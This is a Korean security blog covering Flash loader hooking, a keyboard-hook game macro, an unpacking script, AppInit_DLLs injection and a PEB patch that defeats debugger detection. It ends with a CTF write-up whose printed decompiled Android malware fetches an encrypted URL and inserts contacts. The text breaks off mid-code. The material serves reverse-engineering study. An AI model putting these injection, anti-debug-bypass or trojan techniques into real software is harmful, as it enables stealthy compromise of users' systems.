I wannabe FALCON

Writing LoaderHook.as with ActionScript 3.0 for hooking the loader

6l4ck3y3@gmail.com (6l4ck3y3) — Sun, 05 Aug 2012 15:25:36 +0900

2012년 코드게이트에서 오정욱(@ohjeongwook) 님의 ¹"AVM Inception" 발표를 듣고 깔짝깔짝 만들었던 LoaderHook 클래스입니다. 내용은 별 거 없구요. Flash 에서 Loader 가 호출되면, 로드되는 데이터(swf나 이미지 등등)를 덤프 뜨는 훅 클래스입니다.

당연히 그냥은 사용 못하고, DoABC 태그를 삽입하고, AVM의 참조테이블을 수정해야 훅이 걸립니다.

LoaderHook.as

package {
	import flash.display.Loader;
	import flash.system.LoaderContext;
	import flash.utils.ByteArray;

	public class LoaderHook extends Loader 
	{
		public function LoaderHook() : void
		{
			super();
		}
		
		public function loadbytes( bytes:ByteArray, context:LoaderContext = null ) : void
		{
			function toHex( decimal:uint, padding:int = 2 ) : String
			{
				var hex:String = Number( decimal ).toString( 16 );
				while( hex.length < padding )
				{
					hex = "0" + hex;
				}
				return hex.toUpperCase();
			}

			var now:Date = new Date();
			
			trace( "[+] start to dump on loadbytes" );
			trace( "[+] " + now.toLocaleString() );
			trace( "-----------------------------------------------" );
			
			var hexadecimalDump:String = "";
			
			bytes.position = 0;
			while( bytes.position < bytes.length )
			{
				hexadecimalDump += toHex( bytes.readUnsignedByte() );
				hexadecimalDump += " ";
				
				if( bytes.position % 16 == 0 )
				{
					trace( hexadecimalDump );
					hexadecimalDump = "";
				}
			}
			trace( hexadecimalDump );
			
			trace( "-----------------------------------------------" );
			trace( "[+] completed" );
			
			super.loadBytes( bytes, context );
		}
	}
}

mm.cfg 세팅

ActionScript 언어가 java 랑 유사해서 특별히 어려운 건 없었는데, 2.0 과 3.0 이 하늘과 땅 차이라서 덤프 뜨는 방법을 찾는 데 조금 헤매었네요. 3.0 에서는 ²mm.cfg 를 세팅하면 trace 메소드의 결과가 파일로 저장됩니다.

TraceOutPutFileName=C:\Users\(username)\AppData\Roaming\Macromedia\Flash Player\Logs\flashlog.txt
ErrorReportingEnable=1
TraceOutputFileEnable=1
MaxWarnings=100

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

주석.

댓글 쓰기

게임 매크로 Inventory A+ 분석

6l4ck3y3@gmail.com (6l4ck3y3) — Wed, 15 Feb 2012 21:17:25 +0900

1. 기능 소개

[그림 1] Warcraft III 에서의 인벤토리

Inventory A+는 Blizzard 사의 Warcraft III 의 인벤토리 단축키를 변경하는 매크로입니다. 원래 인벤토리의 아이템을 사용하기 위한 단축키는 숫자패드의 7, 8, 4, 5, 1, 2 이지만, Inventory A+ 를 실행하면 인벤토리 단축키가 [그림 2]와 같이 변경됩니다. 실제로 이 매크로는 DotA 용으로 제작된 것입니다.

[그림 2] Inventory A+ 실행 후

2. 분석

Inventory A+는 AutoHotKey 기반으로 제작되었습니다. 프로그램 내에 AutoHotKey 의 문자열들과 실행되지 않는 코드의 흔적들이 남아 있지요. 그리고 메뉴, 뮤텍스, 윈도우의 이름도 AutoHotKey 의 것들을 그대로 사용하고 있습니다.

2.1. Warcraft III: Frozen Throne 설치 확인 (_GetInstallPath)

[그림 3] 레지스트리에서 Frozen Throne 의 설치 경로를 읽는다

Inventory A+ 는 Warcraft III: Frozen Throne 의 설치 경로를 다음의 레지스트리에서 읽어서 확인합니다.

Key = “HKEY_CURRENT_USER\Software\Blizzard Entertainment\Warcraft III”
SubKey = “ProgramX”

그리고 Frozen Throne 의 실행 파일에서 아이콘을 Inventory A+ 자신의 아이콘으로 사용합니다.

[그림 4] Inventory A+의 아이콘

2.2. 후킹 프로시저 설치 (_InstallHookProc)

[그림 5] 키보드 후킹 프로시저 설치

Inventory A+ 는 후킹 프로시저를 설치하는 스레드를 생성합니다. 스레드 함수에서는 [그림 5]와 같이 SetWindowsHookEx API 를 호출합니다. 인자로는 WH_KEYBOARD_LL 와 후킹 프로시저의 주소가 쓰이고, 전역적으로 후킹하기 위해서 스레드 ID 에 0 을 넣습니다.

WH_KEYBOARD_LL 은 저수준의 키보드 입력 내용을 모니터링하기 위한 식별값입니다. 후킹 프로시저의 형태는 다음과 같습니다.

_HotKeyHookProc (int code, WPARAM wParam, LPARAM, lParam);

WH_KEYBOARD_LL 후킹에서 wParam 은 키보드 메시지의 식별자입니다. WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP 등이 wParam 의 값들입니다..

그리고 lParam 은 KBDLLHOOKSTRUCT 구조체의 포인터이며, 구조는 다음과 같습니다.

typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;

vkCode 가 메시지를 발생시킨 가상 키 코드이고, flags 값으로 ALT 키가 같이 눌러졌는지 알 수 있습니다. ALT 키가 같이 눌려졌으면 flags 의 값은 LLKHF_ALTDOWN 입니다.

2.3. 키보드 후킹 프로시저 (_HotKeyHookProc)

키보드 메시지가 발생할 때마다 _HotKeyHookProc 함수가 전역적으로 호출됩니다.

[그림 6] 키보드 이벤트가 KEYUP 인지 KEYDOWN 인지 검사한다

[그림 7] 키보드 후킹 프로시저

[그림 6]처럼 wParam 을 검사하여서 키가 눌러진 것이라면 플래그를 설정하고 _HookHotKey 함수를 호출합니다. _HookHotKey 함수 안에서 k->vkCode 가 'Q', 'W', 'A', 'S', 'Z', 'X' 중의 하나인지, k->flags 의 LLKHF_ALTDOWN 비트가 세팅되었는지를 검사하는 것 같은데, 정확한 루틴이 어디 있는지는 찾지 못 했습니다.

원하는 키가 아니라면, CallNextHookEx API 를 호출한 후 리턴하여서 다음 훅으로 넘깁니다.

[그림 8] ALT+q 에 대하여 NUMPAD7 의 KEYDOWN 이벤트 발생

[그림 9] ALT+q 에 대하여 NUMPAD7 의 KEYUP 이벤트 발생

입력된 키가 ALT+q, ALT+w, ALT+a ALT+s, ALT+z, ALT+x 중의 하나라면, keybd_event API 를 KEYDOWN 인자로 호출하고 KEYUP 인자로 다시 호출합니다. 이렇게 하면 맵핑되는 숫자패드의 키에 대한 이벤트가 발생됩니다. keybd_event API 의 세 번째 인자가 0 이면 KEYDOWN 이벤트입니다. 그리고 0 이 아닌 정수를 리턴하여 키 입력을 무시합니다.

3. POC 코드

#include <windows.h>

LRESULT CALLBACK
HotKeyHookProc (int code, WPARAM wParam, LPARAM lParam)
{
    if (code >= 0)
    {
        UINT hotkey = 0;
        PKBDLLHOOKSTRUCT k = (PKBDLLHOOKSTRUCT)lParam;

        BOOL f_AltDown = (LLKHF_ALTDOWN & k->flags) ? TRUE : FALSE;

        switch (k->vkCode)
        {
            case 'Q':
                hotkey = VK_NUMPAD7;
                break;
            case 'W':
                hotkey = VK_NUMPAD8;
                break;
            case 'A':
                hotkey = VK_NUMPAD4;
                break;
            case 'S':
                hotkey = VK_NUMPAD5;
                break;
            case 'Z':
                hotkey = VK_NUMPAD1;
                break;
            case 'X':
                hotkey = VK_NUMPAD2;
                break;
            default:
                break;
        }

        if ((hotkey != 0) && (f_AltDown == TRUE))
        {
            Sleep (1000);
            keybd_event (hotkey, MapVirtualKey (hotkey, 0), 0, 0);
            Sleep (100);
            keybd_event (hotkey, MapVirtualKey (hotkey, 0), KEYEVENTF_KEYUP, 0);
            return 1;
        }
    }

    return CallNextHookEx (NULL, code, wParam, lParam);
}

int WINAPI
WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    HHOOK hhk = SetWindowsHookEx (WH_KEYBOARD_LL, HotKeyHookProc, hInstance, 0);

    MessageBoxA (NULL, "Click \"Ok\" to terminate this hooking", "HotKeyHook", MB_OK);

    UnhookWindowsHookEx (hhk);
    return (0);
}

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

댓글 쓰기

The Linux Kernel Module Programming Guide v2.6

6l4ck3y3@gmail.com (6l4ck3y3) — Sun, 20 Nov 2011 17:45:44 +0900

Articles에 문서를 업데이트 했습니다.

CERT-IS의 남윤민 군의 번역문서입니다.

task_struct 구조가 변경되기 전의 Linux Kernel 2.6 버전에서 커널 모듈을 어떻게 작성하는 지를 설명한 기초 문서입니다.

아래의 링크는 이 문서의 원본과 KLDP에 있는 2.4 버전의 번역 문서입니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

댓글 쓰기

DumpFromOEP.py for Immunity Debugger

6l4ck3y3@gmail.com (6l4ck3y3) — Sat, 22 Oct 2011 13:31:42 +0900

Windows XP에서 Immunity Debugger의 플러그인들이 충돌을 일으켜서 만들었던 스크립트입니다. OllyDump의 소스코드를 보면서 만들었습니다. 단순히 메모리를 덤프해서 PE 헤더를 고친 후 파일로 출력하는 게 전부입니다.

PyCommand 디렉토리 아래에 스크립트 파일을 저장한 후, eip가 OEP에 있을 때 커맨드라인에서 다음과 같이 입력하면 실행이 됩니다.

!dumpfromoep [a path of the output file]

OEP까지 직접 찾아가야 하고 IAT도 수동으로 고쳐줘야 합니다. UPX와 UPack으로 패킹된 바이너리는 정확히 덤프하는 걸 확인했습니다.

dumpfromoep.py

__author__ = '6l4ck3y3'
__version__ = '1.0.0'
__contact__ = '6l4ck3y3@gmail.com'

import immlib
import pefile

def main (args):
    imm = immlib.Debugger ()
    name = imm.getDebuggedName ()

    try:
        mod = imm.getModule (name)
        if not mod:
            raise Exception, "Couldn't find %s" % name
    except Exception, msg:
        return "Error: %s" % msg

    pe = pefile.PE (name = mod.getPath ())

    memory = imm.readMemory (pe.OPTIONAL_HEADER.ImageBase, pe.OPTIONAL_HEADER.SizeOfImage)
    out = pefile.PE (data = memory)
    orig_eip = imm.getRegs ()['EIP']

    out.FILE_HEADER.NumberOfSections = pe.FILE_HEADER.NumberOfSections
    out.OPTIONAL_HEADER.ImageBase = pe.OPTIONAL_HEADER.ImageBase
    out.OPTIONAL_HEADER.SizeOfImage = pe.OPTIONAL_HEADER.SizeOfImage
    out.OPTIONAL_HEADER.AddressOfEntryPoint = orig_eip - pe.OPTIONAL_HEADER.ImageBase
    out.OPTIONAL_HEADER.BaseOfCode = pe.OPTIONAL_HEADER.BaseOfCode
    out.OPTIONAL_HEADER.BaseOfData = pe.OPTIONAL_HEADER.BaseOfData

    imm.log ("ImageBase = " + hex (out.OPTIONAL_HEADER.ImageBase))
    imm.log ("SizeOfImage = " + hex (out.OPTIONAL_HEADER.SizeOfImage))
    imm.log ("AddressOfEntryPoint = " + hex (out.OPTIONAL_HEADER.AddressOfEntryPoint))
    imm.log ("BaseOfCode = " + hex (out.OPTIONAL_HEADER.BaseOfCode))
    imm.log ("BaseOfData= " + hex (out.OPTIONAL_HEADER.BaseOfData))
    imm.log ("")

    for i in range (pe.FILE_HEADER.NumberOfSections):
        out.sections[i].Name = pe.sections[i].Name
        out.sections[i].VirtualSize = pe.sections[i].Misc_VirtualSize
        out.sections[i].VirtualAddress = pe.sections[i].VirtualAddress
        out.sections[i].SizeOfRawData = pe.sections[i].Misc_VirtualSize
        out.sections[i].PointerToRawData = pe.sections[i].VirtualAddress
        out.sections[i].Characteristics = pe.sections[i].Characteristics

        imm.log ("Name = " + repr (out.sections[i].Name))
        imm.log ("VirtualSize = " + hex (out.sections[i].VirtualSize))
        imm.log ("VirtualAddress = " + hex (out.sections[i].VirtualAddress))
        imm.log ("SizeOfRawData = " + hex (out.sections[i].SizeOfRawData))
        imm.log ("PointerToRawData = " + hex (out.sections[i].PointerToRawData))
        imm.log ("Characteristics = " + hex (out.sections[i].Characteristics))
        imm.log ("")

    out.write (args[0])

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

댓글 쓰기

From AppInit_DLLs To Injection

6l4ck3y3@gmail.com (6l4ck3y3) — Wed, 28 Sep 2011 07:04:04 +0900

[그림 1] 이메일 웜 Warezov는 AppInit_DLLs에 악성 DLL의 경로를 입력한다

다음의 윈도우즈 레지스트리에 DLL 파일의 경로를 입력하면, 이후 새로운 프로세스가 생성될 때마다 키값에 입력된 DLL 파일이 프로세스에 인젝션됩니다.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

user32.dll이 프로세스에 적재되면서 DllMain 함수에서 레지스트리 키값을 열람하고 DLL을 적재할거라고 생각할 수 있지만, 그렇지 않습니다. AppInit_DLLs의 DLL 파일은 시스템 DLL 파일들이 적재된 이후에 프로세스 초기화 과정에서 프로세스에 적재됩니다.

[그림 2] user32.ClientThreadSetup 콜백 함수가 호출된다

프로세스 초기화 과정 중에 gdi32.dll의 GdiDllInitialize 함수가 수행됩니다. 이 과정에서 운영체제는 이미 적재된 user32.dll의 ClientThreadSetup 콜백 함수를 호출합니다. [그림 2]와 같이 PEB(Process Environment Block)¹의 KernelCallbackTable에 저장된 콜백 함수의 주소를 참조합니다.

[그림 3] ClienThreadSetup에서 AppInit_DLLs를 읽는다

바야흐로, 이 ClientThreadSetup 함수에서 AppInit_DLLs를 읽습니다. [그림 2]에서 볼 수 있듯이, 일반적으로 레지스트리를 조회할 때 쓰이는 RegOpenKey, RegQueryValue와 같은 API들이 쓰이지 않습니다. 여기서는 네이티브 함수를 바로 호출하는 ZwOpenKey²와 ZwQueryValueKey³ 함수를 사용합니다. 그래서 디버거로 볼 때, 윈도우즈 API에 BP(Break Point)를 걸고 달려도 AppInit_DLLs를 조회하는 것을 잡을 수 없습니다. ZwQueryValueKey에 BP를 걸고 달려야 하죠. 인자로 넘어가는 Buffer에 키값이 저장되는데, 이 구조는 InfoClass에 따라서 변경됩니다. InfoClass가 2이면, KeyValuePartialInformation 구조체로 Buffer에 저장됩니다.

KeyValuePartialInformation 구조체의 정의는 다음과 같습니다.

typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
  ULONG TitleIndex;
  ULONG Type;
  ULONG DataLength;
  UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;

구조체의 네 번째 요소인 Data[1]에 키값의 문자열이 저장됩니다. UCHAR Data[1]의 의미⁴는 길이가 정해지지 않은 데이터를 담기 위한 더미 변수입니다. KeyValuePartialInformation가 헤더이고, DataLength 값만큼 뒤에 바디가 붙는것이죠.

[그림 4] AppInit_DLLs에 저장된 e1.dll을 프로세스에 적재한다

Buffer에 DLL 파일의 경로가 쓰여 있으면, LoadLibraryW로 프로세스에 적재합니다. 만약 값이 비어 있으면, LoadLibraryW를 호출하는 루틴을 건너뜁니다.

[그림 5] notepad.exe에 e1.dll이 인젝션되었다

LoadLibraryW가 호출되는 시점에 DLL 파일이 프로세스에 적재됩니다. AppInit_DLLs를 이용한 DLL 인젝션은 인젝션이 이루어진 이후부터 실행되는 프로세스에 대하여 유효합니다. 레지스트리에 저장되는 값이기 때문에 윈도우즈가 재부팅되어도 유효합니다. 지금까지 보았듯이, 프로세스가 실행될 때마다 프로세스 초기화 과정 중에 인젝션이 되죠.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

주석.

댓글 쓰기

Windows Debugging Intrenals: A to Z

6l4ck3y3@gmail.com (6l4ck3y3) — Sun, 28 Aug 2011 17:59:27 +0900

Articles에 문서를 업데이트 했습니다.

Windows 의 내부 매커니즘이 어떻게 유저 모드 디버깅을 제공하는지에 대하여 설명한 Alex Ionescu 의 3부작 시리즈를 번역하였습니다. Alex Ionescu 는 ReactOS 의 커널 개발자이면서 『Windows Internals』 의 저자입니다.

이 문서는 Dbgk 라는 NT 커널(ntoskrnl)의 객체와 디버그 이벤트를 주고받는 방법에 대해서 Win32 (kernel32) 관점부터 DbgUi 객체와 NT 시스템 라이브러리(ntdll)까지 설명합니다. 문서를 이해하기 위해서는 C 언어와 NT 커널 아키텍처(혹은 운영체제)에 대한 기초 지식이 필요합니다. 또한, 이 글은 디버깅이 무엇인지, 디버거를 어떻게 작성하는지 소개하는 글이 아닙니다. 경험 있는 디버거 작성자나 호기심이 강한 보안 전문가를 위한 레퍼런스입니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

댓글 쓰기

IsDebuggerPresent 그리고 패치

6l4ck3y3@gmail.com (6l4ck3y3) — Mon, 04 Jul 2011 09:48:23 +0900

Anti-Reversing 기법 중에서 가장 기초적인 방법은 IsDebuggerPresent¹ 함수를 사용하는 것입니다. IsDebuggerPresent 함수는 호출된 프로세스가 유저 모드 디버거에 의해 호출되었는지를 확인하는 Windows API입니다. windows.h 헤더파일을 인클루드하면 바로 호출할 수 있고, Windows 2000부터 지원된다고 MSDN에 설명되어 있습니다. 함수 원형은 아래와 같습니다.

BOOL IsDebuggerPresent (void);

파라미터는 필요 없고, 현재 프로세스가 유저 모드 디버거에 의해 호출된 것이면 0이 아닌 값을 반환합니다.

그런데 아무래도 Windows에서 제공하는 API이기 때문에 함수 호출 지점을 검색해서 nop 처리해버리면 쉽게 우회되는 단점이 있습니다. 그래서 동일한 기능을 하는 아래와 같은 코드를 사용합니다.

BOOL CheckIsDebuggerPresent ()
{
    __asm {
        mov eax, fs:18h                    // TEB
        mov eax, [eax+30h]                 // PEB
        movzx eax, byte ptr [eax+2]        // BeingDebugged
    }
}

이 코드는 IsDebuggerPresent 함수와 실제로 같은 코드입니다. IsDebuggerPresent 함수는 PEB 구조체의 세 번째 값인 BeingDebugged를 반환합니다. 유저 모드 디버거에 의해 프로세스가 호출되면 BeingDebugged 값이 1이고, 그렇지 않으면 0이기 때문이죠.

[그림1] 유저 모드 디버거에 의해 호출된 프로세스의 PEB

그렇다면 반대로 BeingDebugged 값을 애초에 0으로 바꿔놓으면 이 값을 확인해서 디버거를 탐지하는 방법은 무용지물이 되겠죠. 그래서 아래와 같이 패치 코드를 작성할 수 있습니다.

void PatchBeingDebugged ()
{
    __asm {
        mov eax, fs:18h
        mov eax, [eax+30h]
        lea eax, byte ptr [eax+2]

        mov [eax], 0b
    }
}

PEB 구조체의 BeingDebugged의 메모리 주소를 구해서 메모리에 0을 바로 집어넣는 것이죠. 그러면 패치 이후로는 PEB의 BeingDebugged를 검사하여도 디버거를 탐지하지를 못합니다.

[그림2] 패치된 PEB의 BeingDebugged

위 코드는 인라인 어셈으로 작성된 코드입니다. 제가 사용하는 Immunity Debugger에서 조금 더 유연하게 패치하려면 PyCommand로 작성해두면 더 좋죠. 아래는 Python 코드로 작성된 코드입니다.

imm = immlib.Debugger () 
imm.writeMemory (imm.getPEBaddress () + 0x2, '\x00')

막강한 immlib 모듈이죠. 사실, 이미 immunityDebugger에는 hidedebugger.py에 저런 코드가 적용되어 있지만요.

덧붙임) MSDN에서는 IsDebuggerPresent 함수가 Windows 2000부터 지원된다고 했지만, 이 함수가 적용되는 _WIN32_WINNT 매크로 값이 0x400 이상이라고 합니다. _WIN32_WINNT 0x400은 Windows 95인데, 어떤 게 맞는 걸까요?

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

주석.

IsDebuggerPresent Function

댓글 쓰기

HDCON 2011 예선 Stage 4 - 안드로이드 악성코드 분석

6l4ck3y3@gmail.com (6l4ck3y3) — Thu, 30 Jun 2011 08:17:06 +0900

stage 4 문제는 제게 큰 짜릿함을 맛보게 해준 문제입니다. 대회 첫 째날이 종료되기 몇 시간 전부터 보기 시작했는데 밤 새고 대회 둘 째날이 종료되기 27분 전에야 패스워드를 인증했기 때문이죠. 중간에 잠시 눈 붙인 몇 시간을 제외하면 꼬박 24시간을 이 문제에 붙었었는데, 포기하지 않고 끝까지 보니까 결국 풀리더군요. 그 때의 짜릿함은 정말 엄청났습니다.

그리고 미리 말씀드리자면 이 풀이는 정말 깁니다.

Qusetion

4번 문제 : 안드로메다 소녀 '안드로'는 최근 스마트폰에 각종 Application을 설치하여 사용하는 재미에 빠져있다. 그런데 어느 순간부터 스마트폰이 이상하다는 느낌이 들기 시작했다. 여기 '안드로' 소녀의 스마트폰 이미지가 있다. 아래 이미지를 분석하여 '안드로' 소녀의 스마트폰의 문제를 찾아라.

정답은 악성코드가 사용하는 정보의 조합이다. 정보가 여러 개라면 긴 문자열 순으로 나열하고 정보와 정보사이는 '_' 로 연결하라.
예) XXXXXXX 와 YYY 와 Z 라면 정답은 XXXXXXX_YYY_Z 이다.

ID: stage4 , PASSWORD: 획득한 패스워드

Analysis

주어진 압축 파일을 해제하면 cache.img, sdcard.img, userdata.img, userdata-qemu.img 이렇게 네 개의 파일이 있습니다. 이 파일들은 안드로이드 폰의 이미지 파일입니다. sdcard.img는 FAT32 포맷이고, 나머지 세 개는 VMS 포맷입니다.

이번 문제는 안드로이드의 이미지 파일에서 악성코드를 찾아내어 분석하는 것이네요.

Solution

악성코드를 찾기 위해서 우선 이미지 파일들을 안드로이드 에뮬레이터로 읽어들여야 합니다. 안드로이드 SDK와 ADT 플러그인을 설치한 후, AVD를 생성합니다¹. 이런 과정을 모두 설명하려면 너무 길어지기 때문에 주석을 참고하는 게 좋을 것 같네요. 에뮬레이터가 정상적으로 실행되면 생성된 avd 디렉토리에 네 개의 이미지 파일들을 집어넣고, AVD 편집 메뉴에서 SDCard의 경로를 수정합니다. 이렇게 하여 다시 AVD를 에뮬레이터로 실행하면 "안드로" 소녀의 스마트폰 환경이 재현되지요.

[그림1] 에뮬레이터로 재현한 "안드로" 소녀의 스마트폰

문제에서 설명대로라면 각종 앱들을 설치하다가 어느 순간부터 이상하다는 느낌을 받았다고 합니다. 그렇다면 "안드로" 소녀가 어떤 앱들을 설치했는지 확인해야겠지요. 다음 순서대로 따라간 후, Downloaded 목록을 확인합니다.

MENU -> Settings -> Applications -> Manage applications -> Downloaded

Downloaded 목록에는 사용자가 다운로드하여 설치한 앱들이 나옵니다. "안드로" 소녀의 폰에는 9개의 사용자 앱이 설치되어 있습니다.

[그림2] "안드로" 소녀가 설치한 앱들

이 9개의 앱들 중에서 어떤 게 악성코드인지를 찾아야 합니다. 찾기 이전에 알아두어야 할 게 있습니다. 최근의 안드로이드 악성코드에 대한 이슈는 리패키징(Repackaging)입니다. 안드로이드 Dalvik이 Java 기반이기 때문에 패키지 파일은 디컴파일이 가능합니다. 이런 성격을 이용하여 공격자는 정상적인 앱을 디컴파일하여 공격 코드를 삽입한 후에 다시 패키징하여 배포하는 게 최근의 경향입니다. 아마 "안드로" 소녀도 공격자가 재배포한 악성 앱을 다운로드하여 설치했을 가능성이 크겠지요.

이제 "안드로" 소녀가 설치한 9개의 앱들의 apk 파일들을 모두 추출할 차례입니다. 설치된 앱의 apk 파일의 경로를 알기 위해서는 다음의 순서대로 찾아갑니다.

앱 목록 -> Dev Tools -> Package Browser -> 앱 선택

apk 파일의 경로를 확인하였으면 adb의 pull 명령을 이용하여 apk 파일들을 추출²합니다.

[그림3] adb의 pull 명령으로 안드로이드 메모리 내의 파일을 추출한다.

추출한 앱이 악성코드인지, 즉 다시 말해서 리패키징된 앱인지를 알기 위해서는 원본 apk 파일과 diff 툴로 비교하거나 md5 값을 구하여 비교합니다. 앞서 apk 파일의 경로를 확인하기 위하여 이용하였던 Package Browser에는 앱의 버전 정보도 나와 있습니다. 마켓이나 인터넷에서 동일 버전의 원본 apk 파일을 구하여 "안드로" 소녀의 폰에서 추출한 apk 파일과 비교하는 것이죠.

apk 파일 자체를 비교하여도 되고, apk 파일 내부의 classes.dex와 lib 아래의 so 파일들을 직접 비교하여도 됩니다. 추출한 앱이 악성코드가 아니라면, 동일 버전의 원본 앱과 diff 결과나 md5 값이 동일하죠. 그러나 diff 결과와 md5 값이 다르면 일단 리패킹징이 되었다고 의심해봐야 합니다.

9개의 앱 중에서 동일 버전의 원본 앱과 다른 앱은 TxWidgets 하나입니다. 다른 8개는 모두 원본과 동일하였습니다. TxWidgets가 리패키징이 되었다면, 앱을 구성하는 class들 중에서 다른 부분이 있을 것입니다. 그렇기 때문에 dex2jar³로 tmi.li.txwidgets-1.apk 안의 classes.dex를 jar로 변환한 후 압축을 풀어서 class 파일들을 추출합니다. 그리고 마찬가지로 동일 버전의 TxWidgets 원본의 class 파일들과 비교를 하는 것이죠.

추출한 TxWidgets의 class들과 원본 TxWidgets의 class들 간의 diff 결과는 아래와 같습니다.

Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class differ
Only in tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck: TxClckProvider$TxClckZ.class
Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class differ

결과를 보면, TxBtryProvider.class와 TxClckProvider.class가 다르고 TxClckProvider 클래스 내에 TxClckZ가 추가되었음을 알 수 있습니다.

어떤 클래스가 다른지를 알았으니 JAD⁴나 JD-GUI⁵와 같은 Java 디컴파일 툴로 해당 class 파일들을 디컴파일합니다. 정확히 class 내의 어떤 소스코드가 다른지 알려면 JAD로 디컴파일하여 나온 jad 파일을 원본을 디컴파일한 jad 파일과 diff 툴로 비교하는 게 조금 더 편합니다.

[그림4] 왼쪽이 추출한 TxClckProvider.jad, 오른쪽이 원본 TxClckProvider.jad

TxBtryProvider는 거의 차이가 없습니다. 아주 미묘하죠. 실제로 악성코드가 심어진 클래스는 TxClckProvider입니다. TxClckZ 내부클래스가 추가되었고, getDetail, getDetailInfo 메소드가 추가되었고, updateWidget 메소드에서는 다음과 같은 코드도 추가되었습니다.

String str2 = TxClckZ.decrypt("TxWthrUpdate", "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889");
localObject = str2;
getDetail(paramContext, (String)localObject);

분석을 해보면 TxWidgets의 시계 위젯이 업데이트될 때 updateWidget 메소드가 호출되고 위 코드가 실행되는 것이죠. TxClckZ 클래스는 AES 암복호화 클래스입니다. TxClckZ.decrypt 메소드는 AES 복호화를 위한 Key와 복호화할 Cipher를 인자로 받습니다. 그리고 복호화한 문자열을 getDetail 메소드에 인자로 넣죠.

아래는 getDetail 메소드의 코드입니다. 인자로 받은 문자열을 URL 주소로 하여 HTTP 통신을 하고 웹페이지의 어떠한 문자열을 버퍼로 담아 getDetailInfo 메소드를 호출합니다.

public static void getDetail(Context paramContext, String paramString)
{
    try
    {
        ContentResolver localContentResolver = paramContext.getContentResolver();
        Uri localUri = ContactsContract.Contacts.CONTENT_URI;
        if (localContentResolver.query(localUri, null, null, null, null).getCount() < 23);

        while (true)
        {
            if (isFirst)
            {
                DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
                HttpGet localHttpGet = new HttpGet(paramString);
                HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);

                if (localHttpResponse.getStatusLine().getStatusCode() != 200)
                    continue;

                InputStream localInputStream = localHttpResponse.getEntity().getContent();
                InputStreamReader localInputStreamReader = new InputStreamReader(localInputStream);
                String str = new BufferedReader(localInputStreamReader).readLine();

                if (!isFirst)
                    continue;

                getDetailInfo(paramContext, str);
                continue;
            }
        }
    }
    catch (Exception localException)
    {
        return;
    }
}

아래는 getDetailInfo 메소드의 코드입니다. getDetail 메소드에서 얻은 문자열을 TxClckZ.decrypt 메소드로 다시 복호화합니다. 복호화한 문자열은 파싱되어서 연락처와 이메일 주소 DB에 등록됩니다.

public static void getDetailInfo(Context paramContext, String paramString)
{
    Object localObject = (String[])0;
    try
    {
        String[] arrayOfString = TxClckZ.decrypt("TxWthrUpdate", paramString).split("[,]");
        localObject = arrayOfString;
label19: 
        String str1 = localObject[0];
        String str2 = localObject[1];
        try
        {
            ContentResolver localContentResolver = paramContext.getContentResolver();
            ContentValues localContentValues = new ContentValues();

            Integer localInteger1 = Integer.valueOf(0);
            localContentValues.put("contact_id", localInteger1);
            Integer localInteger2 = Integer.valueOf(3);
            localContentValues.put("aggregation_mode", localInteger2);

            Uri localUri1 = ContactsContract.RawContacts.CONTENT_URI;
            long l = ContentUris.parseId(localContentResolver.insert(localUri1, localContentValues));

            localContentValues.clear();
            Long localLong1 = Long.valueOf(l);
            localContentValues.put("raw_contact_id", localLong1);
            localContentValues.put("mimetype", "vnd.android.cursor.item/phone_v2");

            Integer localInteger3 = Integer.valueOf(2);
            localContentValues.put("data2", localInteger3);
            localContentValues.put("data1", str1);

            Uri localUri2 = ContactsContract.Data.CONTENT_URI;
            Uri localUri3 = localContentResolver.insert(localUri2, localContentValues);

            localContentValues.clear();
            Long localLong2 = Long.valueOf(l);
            localContentValues.put("raw_contact_id", localLong2);
            localContentValues.put("mimetype", "vnd.android.cursor.item/email_v2");

            Integer localInteger4 = Integer.valueOf(4);
            localContentValues.put("data2", localInteger4);
            localContentValues.put("data1", str2);

            Uri localUri4 = ContactsContract.Data.CONTENT_URI;
            Uri localUri5 = localContentResolver.insert(localUri4, localContentValues);

            isFirst = 0;
            return;
        }
